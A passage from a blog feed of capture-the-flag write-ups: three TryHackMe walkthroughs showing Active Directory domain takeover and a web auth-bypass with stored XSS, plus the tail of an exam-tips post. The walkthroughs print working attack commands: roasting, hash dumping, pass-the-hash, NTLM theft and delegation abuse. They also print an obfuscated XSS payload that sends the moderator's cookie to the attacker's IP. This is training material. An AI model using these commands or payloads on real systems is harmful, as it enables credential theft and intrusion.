the symptom.</li><li>Don’t skip the Writing Pentest Reports room on TryHackMe. Practice! Even if you hack everything, poor reporting can fail you.</li></ul><h3>Build a Personal Mistake List</h3><p>Before the exam, write down the things you personally forget under pressure. Mine included:</p><ul><li>Adding Content-Type headers to POST requests.</li><li>Starting Responder for attacks that require user interaction (e.g., placing a file on an SMB share and waiting for NTLM capture).</li><li>Checking whether a web app will have a simulated user open uploaded files.</li><li>Check user description in AD environment.</li><li>And more.</li></ul><p>These seem obvious until you’re 10 hours into an exam. Keep the list open on a second screen.</p><p>Luckily I have done a lot of CTFs and I know my weak points. As u go along the learning path material make notes of things u forget or get wrong.</p><h3>Quick Recap</h3><ul><li><strong>Web</strong> — Burp from the start, feature-by-feature checklist, multiple accounts</li><li><strong>Network</strong> — Don’t overthink it, basic enum wins</li><li><strong>AD</strong> — Non-destructive methods only, enumerate users, OUs etc</li><li><strong>Reporting</strong> — Report as you go, nail the vulnerability category</li><li><strong>General</strong> — Partial flags, avoid tunnel vision, keep a personal mistake list</li></ul><p>Prepare from the recommended paths for this cert.</p><p>Good luck — it’s a solid exam and genuinely worth taking seriously.</p><p>My Linkedin : <a href="https://www.linkedin.com/in/aryan-gupta-cyber/">https://www.linkedin.com/in/aryan-gupta-cyber/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7176d12ddf90" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RazorBlack TryHackMe Walkthrough]]></title>
            <link>https://medium.com/@contact.aryan.here/razorblack-tryhackme-walkthrough-4bd11c05ac91?source=rss-682250ab6c9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/4bd11c05ac91</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Aryan]]></dc:creator>
            <pubDate>Fri, 27 Feb 2026 13:23:46 GMT</pubDate>
            <atom:updated>2026-05-31T14:07:42.803Z</atom:updated>
            <content:encoded><![CDATA[<p>RazorBlack is a medium-difficulty Active Directory room on TryHackMe that simulates a real-world enterprise environment. This room focuses heavily on enumeration, credential hunting, lateral movement (on the same machine as different user), and privilege escalation to compromise the domain.</p><p>In this walkthrough, we will fully compromise the RazorBlack domain step by step.</p><p><a href="https://tryhackme.com/room/raz0rblack">RazorBlack</a></p><h4>Skills Demonstrated</h4><p>• Active Directory Enumeration <br>• AS-REP Roasting <br>• Kerberoasting <br>• Credential Dumping <br>• Pass-the-Hash <br>• Windows Privilege Escalation <br>• SeBackupPrivilege Exploitation <br>• Domain Controller Compromise</p><h3>Initial Enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*AKnyGyAMbACXhkdjmyJwUg.png" /></figure><p>Open ports typically include:</p><ul><li>53 DNS</li><li>80 HTTP</li><li>88 Kerberos</li><li>135 RPC</li><li>139 SMB</li><li>389 LDAP</li><li>445 SMB</li><li>3389 RDP</li></ul><p>The presence of <strong>Kerberos (88)</strong> strongly suggested this machine was a <strong>Domain Controller</strong>.</p><h3>Initial Access</h3><h3>NFS Enumeration</h3><p>Port 2024 is running NFS used for sharing files and directories somewhat like SMB. This often is a low hanging fruit.</p><p>I am using root account because mounting a file system requires root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*6ss7SMx11stsi-aKlzhMVQ.png" /></figure><p>Here I have created a folder mnt which I will use to mount the share.</p><pre>showmount -e 10.49.182.165<br>mkdir mnt<br>mount 10.49.182.165:/users mnt<br>ls -la mnt</pre><p>Several files were accessible.</p><p>Notably:</p><ul><li>employee_status.xlsx</li><li>sbradley.txt</li></ul><p>Contents of sbradley.txt has the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*TyYvEHqXbXI7m9X_c9kp1Q.png" /><figcaption>sbradley’s flag</figcaption></figure><p>The spreadsheet contained employee names.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*-8nZBstwNfOpQtKEedakSw.png" /><figcaption>Contents of excel sheet</figcaption></figure><h4>Username Pattern Identification</h4><p>This file appears to be named after the user Steven Bradley, allowing us to identify the username pattern.</p><pre>first initial + last name</pre><p>Generated user list using names in excel sheet and the pattern which we found:</p><pre>dport<br>iroyce<br>tvidal<br>aedwards<br>cingram<br>ncassidy<br>rzaydan<br>lvetrova<br>rdelgado<br>twilliams<br>sbradley<br>clin</pre><h4>AS-REP Roasting Attack</h4><p>Since we obtained valid usernames, the next step was to check for AS-REP roasting. This attack targets user accounts that do not require Kerberos pre-authentication, allowing attackers to request encrypted authentication data offline and crack it.</p><h4>Extract Hashes</h4><p>With the usernames list, I attempted AS-REP roasting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fKTSDN2RqgiMsMqFmKIYFQ.png" /><figcaption>As-rep roast</figcaption></figure><pre>impacket-GetNPUsers -usersfile users.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip 10.49.182.165 &#39;raz0rblack.thm/&#39; -no-pass</pre><p>Cracking with hashcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gUNDS3tjib3KOutYLMJWyg.png" /><figcaption>Cracking with hashcat</figcaption></figure><pre>hashcat -a 0 -m 18200 ASREProastables.txt /usr/share/wordlists/rockyou.txt</pre><p>Credentials recovered</p><pre>twilliams : roastpotatoes</pre><h4>Credential Reuse and Password Reset Abuse</h4><p>Testing password against all users:</p><pre>nxc smb 10.49.182.165 -u users.txt -p roastpotatoes --continue-on-success</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UhBSETfzTko_3K__2m1zyg.png" /></figure><p>Here we see something interesting ‘sbradley’ is asking for a password change but only when we use correct password ( roastpotatoes ). Fortunately, Impacket provides a tool to perform password resets when valid credentials are available.</p><pre>impacket-changepasswd raz0rblack.thm/sbradley:roastpotatoes@10.49.185.95 -newpass tomato@123</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*e12MkU-BXKDTpQFyrRacpg.png" /><figcaption>Changing password with impacket</figcaption></figure><p>Now we must repeat enumeration cycle with the new user.</p><h4>SMB Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7Cawv_q8DUGPQJ4H716PRQ.png" /><figcaption>New share with sbradley</figcaption></figure><pre>nxc smb 10.49.161.100 -u sbradley -p tomato@123 --shares</pre><p>So we can access new share named trash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*KdJw7-JjIeJkvaFBPv4_Zg.png" /><figcaption>Contents of trash</figcaption></figure><pre>smbclient //10.49.182.165/trash -U sbradley</pre><p>Download the files. If the command line fails to download the files use the system file explorer. Navigate to SMB share with `smb://10.49.182.165/trash`</p><pre>get sbradley.txt<br>get experiment_gone_wrong.zip<br>get chat_log_20210222143423.txt</pre><p>‘sbradley.txt’ has a flag and chat log files contains some discussion of a CVE. I tried the exploit for this CVE does not seem to be working.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fstXvNC7suJAv_RdbQIsxA.png" /><figcaption>Contents of sbradley.txt and chat log</figcaption></figure><p>ZIP file was password protected.</p><pre>zip2john experiment_gone_wrong.zip &gt; zip_hash.txt<br>john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*AwmWqEBxqHaP7hJvJd5GWQ.png" /><figcaption>Cracking zip hash</figcaption></figure><p>Password: electromagnetismo</p><p>Opening this file and dumping hashes from ‘ntds.dit’ and ‘system.hive’</p><pre>unzip experiment_gone_wrong.zip<br># enter the password electromagnetismocat<br>impacket-secretsdump LOCAL -ntds ntds.dit -system system.hive | tee hash_dump.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*-SkKVYTO8pZAZTfho4cQQQ.png" /><figcaption>Dumping hashes</figcaption></figure><p>Extracted all domain user hashes.</p><pre>cat hash_dump.txt | cut -d &quot;:&quot; -f 4 | tee final_hash.txt</pre><p>Remove the the lines which do not have the hashes from both start and end of file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*UDshOSuNNUbkSc26Aks4dA.png" /></figure><p>Brute-forcing the users list with these hashes</p><pre>nxc smb 10.48.178.141 -u ../../users.txt -H final_hash.txt --continue-on-success</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*saT6Kq_QBIcERFl5QOVH8w.png" /></figure><p>Credentials obtained lvetrova : f220d3988deb3f516c73f40ee16c431d</p><p>This user has a flag hidden in XML file in the users home directory. Steps to extract are shown below. These steps will remain the same for every user flag. I will be listing the steps only for this user.</p><pre>$credential = Import-Clixml -Path lvetrova.xml<br>$credential.GetNetworkCredential().password</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*kNY53sIYlKwL9IRlm3ss6A.png" /><figcaption>Extracting flag from XML</figcaption></figure><h3>Kerberoasting Attack</h3><pre>impacket-GetUserSPNs raz0rblack.thm/lvetrova -hashes aad3b435b51404eeaad3b435b51404ee:f220d3988deb3f516c73f40ee16c431d -dc-ip 10.48.178.141 -request -outputfile krb_hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H7vVR9QE_z2AF5TMGvxC5A.png" /><figcaption>Kerberoasting Attack</figcaption></figure><p>Cracking with hashcat</p><pre>hashcat -a 0 -m 13100 krb_hash.txt /usr/share/wordlists/rockyou.txt</pre><p>Credentials obtained xyan1d3 : cyanide9amine5628</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UjNTNC622a0QJ2TwnoMzYA.png" /><figcaption>Testing credentials against winrm service</figcaption></figure><h4>Remote Access via WinRM</h4><p>Obtaining a shell with credentials via WinRM</p><pre>evil-winrm -i 10.49.161.100 -u xyan1d3 -p cyanide9amine5628</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*6_KTPG1LIZIpOETYxOPq2g.png" /></figure><pre>whoami /all</pre><p>This user has ‘SeBackupPrivilege’ privilege this will be a privilege escalation vector.</p><h4>Exploiting SeBackupPrivilege</h4><p>Backing up and downloading sam and system files.</p><pre>reg save hklm\sam C:\Users\xyan1d3\Documents\sam<br>reg save hklm\system C:\Users\xyan1d3\Documents\system<br>download sam<br>download system</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*TOpLoEYQMRedKe0AcUptCA.png" /><figcaption>Backing up and downloading SAM and SYSTEM</figcaption></figure><p>Dumping hashes:</p><pre>impacket-secretsdump LOCAL -sam sam -system system</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eSDN8-wXf6Gv7avSczPdqg.png" /><figcaption>Dumping Hashes</figcaption></figure><p>We have recovered local administrator hash which will give us administrator privilege on Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*gKymF11b63nHR4uBrKv2VA.png" /><figcaption>Shell on Domain Controller</figcaption></figure><pre>evil-winrm -i 10.49.132.214 -u administrator -H 9689931bed40ca5a2ce1218210177f0c</pre><h4>Conclusion</h4><p>This machine demonstrated how multiple small misconfigurations can lead to complete Active Directory compromise.</p><p>Key weaknesses included:</p><p>• Anonymous NFS access</p><p>• AS-REP roastable accounts</p><p>• Credential reuse</p><ul><li>Improperly secured domain backups</li><li>Excessive user privileges</li></ul><p>By chaining these weaknesses together, we successfully obtained Domain Administrator access.</p><p>This scenario closely reflects real-world Active Directory penetration testing engagements.</p><h4>Attack Chain Summary</h4><p>The complete attack chain is shown below:</p><pre>NFS Share Access<br>↓<br>Username Enumeration<br>↓<br>AS-REP Roasting<br>↓<br>Password Reuse<br>↓<br>Password Reset Abuse<br>↓<br>SMB Share Access<br>↓<br>NTDS Extraction<br>↓<br>Kerberoasting<br>↓<br>WinRM Access<br>↓<br>SeBackupPrivilege Abuse<br>↓<br>Administrator Access</pre><p>My Linkedin : <a href="https://www.linkedin.com/in/aryan-gupta-cyber/">https://www.linkedin.com/in/aryan-gupta-cyber/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4bd11c05ac91" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe Reset Room Walkthrough]]></title>
            <link>https://medium.com/@contact.aryan.here/tryhackme-reset-room-walkthrough-62a2981fb14e?source=rss-682250ab6c9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/62a2981fb14e</guid>
            <dc:creator><![CDATA[Aryan]]></dc:creator>
            <pubDate>Sun, 15 Feb 2026 13:23:39 GMT</pubDate>
            <atom:updated>2026-02-15T13:40:03.943Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Reset Room</strong> on TryHackMe is an Active Directory–focused challenge that simulates a realistic enterprise Domain Controller environment. In this walkthrough, I demonstrate how an initial foothold gained through <strong>NTLMv2 hash capture</strong> can be methodically escalated to full <strong>Domain Admin</strong> privileges by abusing common Active Directory misconfigurations.</p><p>The attack chain covers multiple real-world techniques used in penetration testing and red teaming, including:</p><ul><li>SMB enumeration and NTLM theft</li><li>Password cracking with Hashcat</li><li>AS-REP roasting</li><li>Active Directory enumeration with BloodHound</li><li>ACL abuse (GenericAll &amp; ForceChangePassword)</li><li>Kerberos Constrained Delegation exploitation</li></ul><h4>Attack Path Summary:</h4><p>Anonymous SMB → NTLMv2 Capture → Crack AUTOMATE → AS-REP Roast → Crack TABATHA_BRITT → BloodHound ACL Chain → Password Reset Abuse → Constrained Delegation → Impersonate Administrator → Domain Admin.</p><h3>Initial Enumeration</h3><p>IP : 10.49.175.202</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*TIgEqs40BIxupOIhC0r72g.png" /><figcaption>Rustscan</figcaption></figure><p>Rustscan to find open ports shows that this machine is running:</p><ul><li>DNS</li><li>Kerberos</li><li>LDAP / LDAPS</li><li>Global Catalog</li><li>SMB</li><li>RDP</li><li>RPC (multiple dynamic ports)</li><li>Active Directory Web Services</li></ul><p>Clearly indicates Active Directory environment and that this machine is a Domain Controller.</p><h3>SMB Enumeration &amp; NTLM Theft</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*jFW94wiYyh2P5XITOnlOMg.png" /></figure><p>smbclient -L //10.49.175.202</p><p>Discovered a custom share named Data.</p><p>Inside Data/onboarding, file names were automatically changing.</p><p>This strongly suggests:</p><ul><li>Automated processing</li><li>Likely scheduled job</li><li>Opportunity for NTLM capture</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*btiVVR2uzdrDfqDcSxdzJA.png" /></figure><h3>NTML Theft via Malicious URL Files</h3><p>Tools :</p><p><a href="https://github.com/Greenwolf/ntlm_theft">NTML_THEFT</a></p><p><a href="https://www.kali.org/tools/responder/">Responder</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*8DfxkZXONVJIUCpnOD3h8g.png" /></figure><p>Clone the repository with command line and cd into the tool directory</p><p>Execute python3 ntlm_theft.py -g url -s YOUR_IP -f theft</p><p>This will generate 2 files which will help us to steal the NTML token of who ever is going to open these files because they will try to load the files from our IP address.</p><p>Start Responder before placing these files on the SMB server run sudo responder -I tun0 in a new terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*pfm84ND1zAaanPjoWDcBvg.png" /></figure><pre>put theft-(url).url<br>put theft-(icon).url</pre><p>Wait and check responder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*1ND_GOvhnK5t-rloy1EHeA.png" /></figure><p>sudo responder -I tun0</p><p>The captured hash is not a reusable NTLM hash but a NetNTLMv2 challenge-response. It must be cracked offline before it can be used for authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*39KpnR57cPzb1ZZ6jkme-Q.png" /></figure><p>hashcat -a 0 -m 5600 automate_hash.txt /usr/share/wordlists/rockyou.txt</p><p>Automate user has password Passw0rd1</p><p>These credentials are enough to give us low privileged access to the domain which means we can move to attacking accounts on this domain.</p><h3>Roasting Attacks</h3><h4>Kerberoasting</h4><p>Kerberosting requires a valid pair of credentials which is required to ask the Domain about service accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kDDEXo18SSgKGgIVKCYwZA.png" /></figure><p>impacket-GetUserSPNs thm.corp/AUTOMATE:Passw0rd1 -dc-ip 10.48.155.215 -request -outputfile kerberoast_hashes.txt</p><p>No crack able hashes.</p><h4>AS-REP Roasting</h4><p>For As-Rep roasting we either need usernames or credentials of a user in that domain.</p><p>Since we have valid credentials, Impacket can enumerate domain users and identify accounts that do not require Kerberos pre-authentication, allowing us to perform AS-REP roasting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6NfwV1-r4hYtOLdVz0bpPw.png" /></figure><p>impacket-GetNPUsers thm.corp/AUTOMATE:Passw0rd1 -dc-ip 10.48.155.215 -request -outputfile asrep.txt</p><p>Cracking it with hashcat hashcat -a 0 asrep.txt /usr/share/wordlists/rockyou.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*UfIQccxw11ljnXdwAjtijg.png" /></figure><p>So we have cracked password of user TABATHA_BRITT which is ‘marlboro(1985)’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nbtQlCkQqiDfFsNAC8MY2Q.png" /></figure><p>This user has RDP access to the Domain Controller, which could potentially be leveraged for privilege escalation. However, rather than pursuing windows privilege escalation, I opted to enumerate the domain using BloodHound to identify a more efficient attack path.</p><h3>Enumerating with Bloodhound</h3><p>Tools: <a href="https://www.kali.org/tools/bloodhound.py/">Bloodhound python</a>, <a href="https://github.com/SpecterOps/BloodHound">Bloodhound UI</a></p><p>To avoid the overhead of uploading the SharpHound binary and exfiltrating the results, I used the BloodHound Python collector. This tool authenticates using valid domain credentials and gathers the necessary Active Directory enumeration data remotely.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KoOhJJukihgbMLoYBLy1hw.png" /></figure><p>sudo bloodhound-python -d thm.corp -u TABATHA_BRITT -p &#39;marlboro(1985)&#39; -ns 10.48.155.215 -c all --zip</p><p>Import this file in bloodhound UI.</p><p>Shortest Path to domain admins from TABATHA_BRITT@THM.CORP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*N1LwsQ2W2--BEitfB1O3EA.png" /></figure><p>Shortest path revealed an ACL escalation chain:</p><p>TABATHA_BRITT → GenericAll → SHAWNA_BRAY → ForceChangePassword → CRUZ_HALL → ForceChangePassword → DARLA_WINTERS → AllowedToDelegate → Domain Controller</p><p>One of BloodHound’s most useful features is its built-in abuse guidance, which provides practical attack techniques for both Windows and Linux environments. To streamline the exploitation process, I chose to perform the password resets from Linux using the Samba net utility. This approach avoids the need to switch sessions or load PowerView on a Windows host, making the attack path more efficient.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*zVhXy_B30U6e6Pe0GNxQEw.png" /><figcaption>Bloodhound Suggestions</figcaption></figure><h3>ACL abuse</h3><p>Resetting password of SHAWNA_BRAY from TABATHA_BRITT and verification</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ocb_T6Q34YGYQS5VMzjOwQ.png" /></figure><p>Resetting password of CRUZ_HALL from SHAWNA_BRAY and verification</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0pGSotEd4HJYBb0-1dWi1Q.png" /></figure><p>Resetting password of DARLA_WINTERS and verification</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*sugY4GfLkuPFOSI3vf7_jA.png" /></figure><pre>net rpc password &quot;SHAWNA_BRAY&quot; &quot;newP@ssword2022&quot; -U &quot;thm.corp&quot;/&quot;TABATHA_BRITT&quot;%&quot;marlboro(1985)&quot; -S &quot;10.48.155.215&quot;<br>nxc smb 10.48.155.215 -u SHAWNA_BRAY -p &#39;newP@ssword2022&#39;<br><br>net rpc password &quot;CRUZ_HALL&quot; &quot;newP@ssword2022&quot; -U &quot;thm.corp&quot;/&quot;SHAWNA_BRAY&quot;%&quot;newP@ssword2022&quot; -S &quot;10.48.155.215&quot;<br>nxc smb 10.48.155.215 -u CRUZ_HALL -p &#39;newP@ssword2022&#39; <br><br>net rpc password &quot;DARLA_WINTERS&quot; &quot;newP@ssword2022&quot; -U &quot;thm.corp&quot;/&quot;CRUZ_HALL&quot;%&quot;newP@ssword2022&quot; -S &quot;10.48.155.215&quot;<br>nxc smb 10.48.155.215 -u DARLA_WINTERS -p &#39;newP@ssword2022&#39;</pre><p>Clean and efficient.</p><p>DARLA_WINTERS is configured for constrained delegation to specific SPNs on the Domain Controller. This allows the account to request Kerberos service tickets on behalf of other users (including Administrator) for those services.</p><p>In other words this account can request Kerberos tickets for other users to this SPN.</p><h3>Exploiting Delegation</h3><p>Tyring to get a shell with psexec using a ticket on behalf of Administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*icYLJi8A-cGlSkU5CEL0GQ.png" /></figure><pre>impacket-getST -spn &#39;cifs/HAYSTACK.thm.corp&#39; -impersonate &#39;ADMINISTRATOR&#39; thm.corp/DARLA_WINTERS:newP@ssword2022 -dc-ip 10.48.155.215<br>export KRB5CCNAME=ADMINISTRATOR@cifs_HAYSTACK.thm.corp@THM.CORP.ccache<br>impacket-psexec -k -no-pass HAYSTACK.THM.CORP # add &#39;DC_IP HAYSTACK.THM.CORP&#39; in /etc/hosts file</pre><p>Due to some reason I could not get a shell with psexec. So I used wmiexec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/751/1*kOmq2tS34MGDEAZrIOtrWA.png" /><figcaption>WMIEXEC to DC as Administrator</figcaption></figure><p>Now because there are other users in Domain Admin group we can use there accounts to do similar things. For example I used ‘CECILE_WONG’ (domain admin) to dump hashes to Domain Controller.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BwLWMxCeHsCbvDjg26MVXw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62a2981fb14e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Farewell — Premium Room TryHackMe Write-Up | Auth Bypass, XSS & Admin Access]]></title>
            <link>https://medium.com/@contact.aryan.here/farewell-premium-room-tryhackme-write-up-auth-bypass-xss-admin-access-47c487e2552c?source=rss-682250ab6c9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/47c487e2552c</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Aryan]]></dc:creator>
            <pubDate>Sun, 01 Feb 2026 19:38:19 GMT</pubDate>
            <atom:updated>2026-02-01T19:38:19.362Z</atom:updated>
            <content:encoded><![CDATA[<h3>Farewell — Premium Room TryHackMe Write-Up | Auth Bypass, XSS &amp; Admin Access</h3><h3>Introduction</h3><p><strong>Farewell — Premium Room</strong> is a web-based Capture The Flag (CTF) challenge on TryHackMe that demonstrates how multiple minor web vulnerabilities can be chained together to achieve full administrative compromise. The challenge involves enumerating valid users, abusing weak password hints, bypassing brute-force protections using client-controlled headers, and exploiting stored HTML/XSS injection within a moderation workflow. This write-up documents the complete attack path from initial enumeration to session hijacking and privilege escalation, highlighting common real-world web security misconfigurations and attacker techniques.</p><p><strong>CTF Write-up</strong></p><h3>Enumeration — Login Page</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sa0rHYRHibsd9HtL2fzEPQ.png" /></figure><p>On the login page, three potential usernames are disclosed:</p><ul><li><em>adam</em></li><li><em>deliver11</em></li><li><em>nora</em></li></ul><p>These users appear to be valid accounts, making the login endpoint a good candidate for brute-force or logic-based attacks.</p><h3>Password Hint Analysis</h3><p>Viewing the response of login request in caido the response includes a password hint.</p><p>User: <strong>adam</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l755hKLpfSvRPoRrGL0x6w.png" /></figure><p>Submitting <strong>adam</strong> as both username and password returns the following hint:</p><blockquote><strong>“favorite pet + 2”</strong></blockquote><p>I generated a wordlist of common pet names and appended `2` to each entry. However, none of the combinations worked for this user.<br>User: <strong>nora</strong></p><p>Password hint:</p><blockquote><strong>“lucky number 789”</strong></blockquote><p>This hint is too vague to reliably brute force without additional context, so I moved on.</p><p>User: <strong>deliver11</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jux8dyq6oMjRjb0l4llUDg.png" /></figure><p>Password hint:</p><blockquote>“Capital of Japan followed by 4 digits”</blockquote><p>The capital of Japan is Tokyo, so the password format is:</p><p>Tokyo0000 → Tokyo9999</p><p>This makes the account ideal for a targeted brute-force attack.</p><h3><strong>Brute Forcing deliver11</strong></h3><p>I configured a brute-force attack using:</p><p><strong>Password base:</strong> Tokyo<br><strong>Payload:</strong> 4-digit numeric suffix (0000–9999)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ekSE5cN0Wcufdb03T1t3Rw.png" /></figure><p>However, all attempts returned <strong>HTTP 403 Forbidden</strong>, indicating a firewall or rate-limiting mechanism.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z7Ccpf7_mwZo-na-rmlLYg.png" /></figure><h3>Firewall Bypass — X-Forwarded-For</h3><p>To bypass the restriction, I added the following header:</p><p><strong>X-Forwarded-For: 127.0.0.X</strong></p><p>The <strong>X-Forwarded-For</strong> (XFF) header is a standard HTTP header used to identify the originating IP address of a client connecting to a web server through a proxy server or load balancer.</p><p>I varied only the last octet of the IP address. <br>Although these are not valid IPs, the application only checks for variation, not correctness — which is sufficient to bypass the firewall.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zBl1AZ5-FvtS5Igx49Y34w.png" /></figure><h3>Successful Login</h3><p>After re-running the brute-force attack with the modified header, the server response changed at payload <strong>1011</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x7L-K0fI2hy8PRV7oMZGcw.png" /></figure><p>Upon closer inspection:</p><ul><li><strong>Valid password:</strong> Tokyo1010</li><li>Authentication succeeded despite the malformed IP.</li></ul><p>I logged in as <strong>deliver11</strong>.</p><h3>Post-Login Enumeration</h3><p>After logging in, I noticed:</p><ul><li>A <strong>messaging system</strong></li><li>Messages marked as “Approved”</li><li>A user role that appears to be moderated</li></ul><p>This strongly suggests a <strong>stored XSS</strong> opportunity, where a moderator/admin views submitted messages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*poq0hIf1ybc1JLvN8x-A5Q.png" /></figure><h3>Testing for XSS</h3><p>NOTE: The moderator bot can occasionally fail due to previous payloads; restarting the machine may be necessary.</p><p>Initial tests showed that &lt;script&gt; tags are blocked:</p><blockquote>&lt;Script&gt;console.log(1)&lt;/Script&gt; threw 403 status code</blockquote><p>So I switched to HTML-based injection.</p><h3>HTML Injection via &lt;iframe&gt;</h3><p>Payload used:</p><blockquote>&lt;iframe src=’<a href="http://192.168.183.230&/#39;">http://192.168.183.230&#39;</a> /&gt;</blockquote><p>This successfully triggered a request to my Kali machine, confirming that <strong>HTML injection is allowed</strong> and executed in the moderator’s browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EwynHhLePYtI4N9QC5d12A.png" /></figure><h3>Attempting JavaScript Execution</h3><p>I tried triggering JavaScript using an `onerror` event:</p><blockquote>&lt;iframe src=’<a href="http://192.168.183.230/something&#39;">http://192.168.183.230/something&#39;</a> onerror=’fetch(“<a href="http://192.168.183.230/fetch">http://192.168.183.230/fetch</a>&quot;)&#39; /&gt;</blockquote><p>The request to ‘/something’ returned <strong>403</strong>, indicating that keywords like ‘fetch’ are blocked by a filter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4IMSFmxeJgpGieQ6s2ZlWA.png" /></figure><h3>Filter Bypass — `eval()` + Event Handler</h3><p>To bypass keyword filtering:</p><ul><li>Avoided `&lt;script&gt;`</li><li>Avoided direct use of `fetch`</li><li>Used **string concatenation**</li><li>Used an **`img` tag with `onerror`**</li></ul><blockquote><strong>Final Payload (Original)</strong><br>&lt;img src=’x’ OnErRor=eval(‘fet’+’ch(“<a href="http://192.168.183.230/">http://192.168.183.230/</a>&quot;+docum&#39;+&#39;ent.coo&#39;+&#39;kie)&#39;) /&gt;</blockquote><blockquote>URL-Encoded Payload<br>%3Cimg%20src%3D’x’%20OnErRor%3Deval(‘fet’%2B’ch(“http%3A%2F%2F192.168.183.230%2F”%2Bdocum’%2B’ent.coo’%2B’kie)’)%20%2F%3E</blockquote><h3>Cookie Theft</h3><p>After submitting the payload, my Python HTTP server received a request containing the moderator’s session cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*7apVZoa-rQi8M40U-aQSBQ.png" /></figure><p>Ignore the other requests they were generated because testing payloads.</p><h3>Privilege Escalation<br>Steps:</h3><ol><li>Copy the stolen cookie</li><li>Replace your session cookie in the browser</li><li>Navigate to: /admin.php</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4QYNxJf7gl16HZ8SBCkMyA.png" /></figure><p>This page is used for moderation and contains the <strong>admin flag</strong>.</p><h3>Conclusion</h3><p><strong>Vulnerabilities Exploited</strong></p><ul><li>Username enumeration</li><li>Weak password hints</li><li>Inadequate brute-force protection</li><li>Improper trust in 